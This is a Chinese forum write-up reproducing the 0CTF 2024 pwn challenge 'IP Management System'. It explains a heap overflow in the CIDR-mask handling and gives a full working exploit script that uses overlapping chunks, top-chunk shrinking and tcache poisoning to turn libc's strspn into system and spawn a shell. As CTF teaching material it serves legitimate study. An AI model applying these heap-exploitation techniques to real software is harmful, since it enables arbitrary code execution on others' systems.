0ctf2024 IP Management System 复现
本帖最后由 ajguthahbzzb 于 2025-5-16 09:12 编辑0x0 前言
之前发的帖子除了比较简单的题外基本都在复现过往棘手的题。用户态的pwn题难点包括逆向难、漏洞隐蔽、攻击手法冷门等,其中花样非常多的题如llvm、musl等其实也在逐渐消失了,因为这类题目就是初见杀,本身题目难度并不算高。逆向难的题中有些题可能出题人并不希望选手将其完全逆出来,所以会删除符号表、内联优化等手段使代码难以阅读(一般不会用reverse方向的混淆或防调试手段),预期解一般是通过模糊测试等将bug所在位置找出再进行利用。漏洞隐蔽的题需要选手有充足的经验来识别漏洞,如终止条件设置错误、变量未初始化、在字符串最后补0导致溢出等。攻击手法冷门的题除了出题人故意为了考某个考点而设置的题外,还有通过上网搜索得到的cve等,这类的题除了平时多积累,还需要会使用搜索引擎来找出漏洞从而利用。
本题逆向难度不高,但漏洞较难利用,我也是根据队友的代码分析出漏洞利用方式从而完成getshell。
0x1 逆向分析
这道题堆利用非常麻烦,没开沙箱算是出题人最大的仁慈了。逆向分析详见附件。题目实现了一个ip管理系统,可以创建ip集合、删除集合、在集合中添加、删除和查询ip(均是通过位运算来实现的)。其中,添加或删除ip有三种方式,ip1-ip2(指定ip范围)、ip/num(指定ip数量)、ip(单个ip)。由于是按位存储ip,所以指定了集合的ip范围后就会创建大小为((end_ip - start_ip) >> 3) + 1的堆。
由此可得出交互代码:
from pwncli import *
elf = ELF("./pwn")
io = gift.io = elf.process()
# io = gift.io = remote("node.vnteam.cn", 44029)
libc = elf.libc
context(log_level="info", arch=elf.arch, terminal=["tmux", "sp", "-h"])
# --------
def num_to_ip(num):
res = []
for i in range(4):
res.append(str(num & 0xff))
num >>= 8
return ".".join(reversed(res))
menu = lambda choice: sla(b"Choose an option: ", str(choice).encode())
def create_ip_set(start_ip, end_ip):
menu(1)
sla(b"Please input start ip:", start_ip.encode())
sla(b"Please input end ip:", end_ip.encode())
def mod_ip_set_range(is_add, start_ip, end_ip):
menu(2 if is_add else 3)
sla(b"Please input ip: ", f"{start_ip}-{end_ip}".encode())
def mod_ip_set_num(is_add, start_ip, num):
menu(2 if is_add else 3)
sla(b"Please input ip: ", f"{start_ip}/{32 - num}".encode())
def mod_ip_set_ip(is_add, ip):
menu(2 if is_add else 3)
sla(b"Please input ip: ", ip.encode())
def query_ip(ip):
menu(4)
sla(b"Please input ip:", ip.encode())
return 0 if (b"not" in rl()) else 1
def delete_ip_set():
menu(5)
def alloc(size, start_num=0):
create_ip_set(num_to_ip(start_num), num_to_ip(start_num + (size << 3) - 1))
def read_addr(start_num=0):
addr = 0
for i in range(8 << 3):
addr |= query_ip(num_to_ip(start_num + i)) << i
return addr
def write_qword(qword, start_byte=0):
start_byte <<= 3
for i in range(8 << 3):
mod_ip_set_ip(qword & 1, num_to_ip(start_byte + i))
qword >>= 1
0x2 漏洞利用
ip/num的地方有漏洞。这里我看了很久也不知道什么意思,自己算了下才知道num并不是ip数量而是掩码位数,比如num为24的时候会插入或删除xx.xx.xx.0-xx.xx.xx.255。由于在代码的最后只检查了右边界没有检查左边界,导致可以向上溢出。通过这个漏洞修改size需要精确地设计掩码位数以及掩码范围的数,一次插入一次删除,就能将size改大,然后重新取出时就能造成堆重叠。示例代码如下:
attach(io)
alloc(0x10)
delete_ip_set()
pause()
alloc(0x28, 0x00ffff3c) # 0x13c
mod_ip_set_num(True, num_to_ip(0x00fffffe), 9)
pause()
alloc(0x38, 0x00fffebb) # 0x2bc
mod_ip_set_num(False, num_to_ip(0x00fffffe), 10) # 改size
三个断点的堆布局如下:
通过精确地设计掩码位数以及掩码范围的数,成功将size修改成0x1021。
0x3 堆布局详解
堆利用难的地方在于,同一时刻只能拥有一个堆块,并且堆块的释放没有uaf。高版本堆利用有很多house攻击方式,用于针对got表不可写的题目。但是堆利用最简单最有效的方式仍然是tcache,因为tcache检查非常少,连size都不做检查,只要破坏key就能double free等特点也使其成为最方便的利用方式。下面详细布局堆:
第一步,泄漏堆地址
alloc(0x10) # 泄漏堆地址
delete_ip_set()
alloc(0x10)
heap_addr = read_addr() << 12
success(f"{heap_addr = :x}")
第二步,布局0x1020重叠块,并在top chunk后面留下chunk头,让后面能释放unsorted bin,目的是为了修改top chunk和tcache next。
sizelist = [0x200, 0x210, 0x220, 0x3b0,
0x10, 0x20, 0x30, 0x40, 0x300, 0x310, 0x320, 0x330, 0x270, # 构成0x1020重叠块(加上后面0x20字节)
]
for size in sizelist:
alloc(size)
delete_ip_set()
alloc(0x420) # 提前留下chunk头,让后面能释放unsorted bin
write_qword(0x21, (0x18))
write_qword(0x21, (0x38))
write_qword(0x21, (0x58))
delete_ip_set()
alloc(0x28, 0x13c) # 0x13c
mod_ip_set_num(True, num_to_ip(0x1ff), 9)
alloc(0x38, 0x2bb) # 0x2bb
mod_ip_set_num(False, num_to_ip(0x3ff), 10) # 改size
alloc(0x10) # 分配0x1020块
delete_ip_set()
alloc(0x10)
libc.address = read_addr() - 0x21b300
success(f"{libc.address = :x}")
第三步,改top chunk size
alloc(0x90)
write_qword(0xfb1, 0x68) # 改0x50块的size,用于修改top chunk size
alloc(0x40)
delete_ip_set() # 这一行将造成堆重叠
alloc(0xfa0)
write_qword(0x331, 0xf68) # 修改top chunk size
第四步,将top chunk剩余部分放入tcache,修改tcache next指向lib的got表。这里修改strspn为system,这样调用strtok的时候就会getshell。
alloc(0x1000) # 把块0x330放进tcache
alloc(0xf50) # 获取0x1020块剩余部分,用于修改tcache next
write_qword(((heap_addr >> 12) + 1) ^ (libc.got.strspn - 8), 0xf40)
alloc(0x300)
alloc(0x300) # 分配到strspn
write_qword(libc.sym.system, 8)
mod_ip_set_num(True, "/bin/sh;", 0)
0x4 exp
from pwncli import *
elf = ELF("./pwn")
io = gift.io = elf.process()
# io = gift.io = remote("node.vnteam.cn", 44029)
libc = elf.libc
context(log_level="info", arch=elf.arch, terminal=["tmux", "sp", "-h"])
# --------
def num_to_ip(num):
res = []
for i in range(4):
res.append(str(num & 0xff))
num >>= 8
return ".".join(reversed(res))
menu = lambda choice: sla(b"Choose an option: ", str(choice).encode())
def create_ip_set(start_ip, end_ip):
menu(1)
sla(b"Please input start ip:", start_ip.encode())
sla(b"Please input end ip:", end_ip.encode())
def mod_ip_set_range(is_add, start_ip, end_ip):
menu(2 if is_add else 3)
sla(b"Please input ip: ", f"{start_ip}-{end_ip}".encode())
def mod_ip_set_num(is_add, start_ip, num):
menu(2 if is_add else 3)
sla(b"Please input ip: ", f"{start_ip}/{32 - num}".encode())
def mod_ip_set_ip(is_add, ip):
menu(2 if is_add else 3)
sla(b"Please input ip: ", ip.encode())
def query_ip(ip):
menu(4)
sla(b"Please input ip:", ip.encode())
return 0 if (b"not" in rl()) else 1
def delete_ip_set():
menu(5)
def alloc(size, start_num=0):
create_ip_set(num_to_ip(start_num), num_to_ip(start_num + (size << 3) - 1))
def read_addr(start_num=0):
addr = 0
for i in range(8 << 3):
addr |= query_ip(num_to_ip(start_num + i)) << i
return addr
def write_qword(qword, start_byte=0):
start_byte <<= 3
for i in range(8 << 3):
mod_ip_set_ip(qword & 1, num_to_ip(start_byte + i))
qword >>= 1
alloc(0x10) # 泄漏堆地址
delete_ip_set()
alloc(0x10)
heap_addr = read_addr() << 12
success(f"{heap_addr = :x}")
sizelist = [0x200, 0x210, 0x220, 0x3b0,
0x10, 0x20, 0x30, 0x40, 0x300, 0x310, 0x320, 0x330, 0x270, # 构成0x1020重叠块(加上后面0x20字节)
]
for size in sizelist:
alloc(size)
delete_ip_set()
alloc(0x420) # 提前留个chunk头,让后面能释放unsorted bin
write_qword(0x21, (0x18))
write_qword(0x21, (0x38))
write_qword(0x21, (0x58))
delete_ip_set()
alloc(0x28, 0x13c) # 0x13c
mod_ip_set_num(True, num_to_ip(0x1ff), 9)
alloc(0x38, 0x2bb) # 0x2bb
mod_ip_set_num(False, num_to_ip(0x3ff), 10) # 改size
alloc(0x10) # 分配0x1020块
delete_ip_set()
alloc(0x10)
libc.address = read_addr() - 0x21b300
success(f"{libc.address = :x}")
alloc(0x90)
write_qword(0xfb1, 0x68) # 改0x50块的size,用于修改top chunk size
alloc(0x40)
delete_ip_set() # 这一行将造成堆重叠
alloc(0xfa0)
write_qword(0x331, 0xf68) # 修改top chunk size
alloc(0x1000) # 把块0x330放进tcache
alloc(0xf50) # 获取0x1020块剩余部分,用于修改tcache next
write_qword(((heap_addr >> 12) + 1) ^ (libc.got.strspn - 8), 0xf40)
alloc(0x300)
alloc(0x300) # 分配到strspn
write_qword(libc.sym.system, 8)
mod_ip_set_num(True, "/bin/sh;", 0)
# --------
ia()
完全看不懂啊。。。只能无脑点赞。 很粗错的教程 学习了 呵呵
感谢大佬分享 这是我这种文盲能看懂的东西吗
页:
[1]